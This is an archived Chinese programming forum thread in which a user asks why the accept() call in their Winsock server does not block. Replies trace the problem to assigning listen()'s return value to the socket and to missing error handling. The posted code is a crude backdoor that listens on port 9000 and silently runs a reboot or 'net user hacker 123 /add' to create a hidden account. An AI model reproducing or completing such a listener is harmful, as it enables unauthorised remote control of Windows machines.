关于socket的accept函数的阻塞问题

xingqingxz 2011-12-16 10:13:22
#include<stdio.h>
#include<winsock2.h>
#include<string.h>
#pragma comment(lib,"ws2_32.lib")
char Buff[2048];
int main(int argc,char argv[])
{
WSADATA wsa;
SOCKET listenFD;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(9000);
server.sin_addr.s_addr=ADDR_ANY;
bind(listenFD,(sockaddr *)&server,sizeof(server));
listenFD=listen(listenFD,2);
printf("\n Listen is OK!");
int iAddrSize=sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
printf("\n Accept aconnect in ");
recv(clientFD,Buff,2048,0);
int i=strcmp(Buff,"reset");
if(i=0)
{
WinExec("iisreset/reboot",SW_HIDE);
}
else
{
WinExec("net user hacker 123 /add",SW_HIDE);
}

WSACleanup();
return 0;

}
为什么我编的这个服务端accept函数没有阻塞,而是直接运行下去了,我还没有从客户端进行连接
...全文
364 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
chelp 2011-12-24
  • 打赏
  • 举报
回复
代码没问题啊,有可能端口冲突GetLastError()
xqchang 2011-12-24
  • 打赏
  • 举报
回复
[Quote=引用 2 楼 mayudong1 的回复:]
改代码加上错误处理,不一定是到哪步出错了,导致accept也出错了,就直接返回了
[/Quote]
应该是这个问题。
mayudong1 2011-12-16
  • 打赏
  • 举报
回复
listenFD=listen(listenFD,2);
看了眼,应该是这里的问题,listen的返回值可不是SOCKET啊,成功的话返回的是0,就把listenFD赋值为0了,下面的accept肯定出错了
mayudong1 2011-12-16
  • 打赏
  • 举报
回复
改代码加上错误处理,不一定是到哪步出错了,导致accept也出错了,就直接返回了
罗平 2011-12-16
  • 打赏
  • 举报
回复
while(TRUE) //循环等待接受客户端
{
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
}

18,356

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 网络编程
c++c语言开发语言 技术论坛(原bbs)
社区管理员
  • 网络编程
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧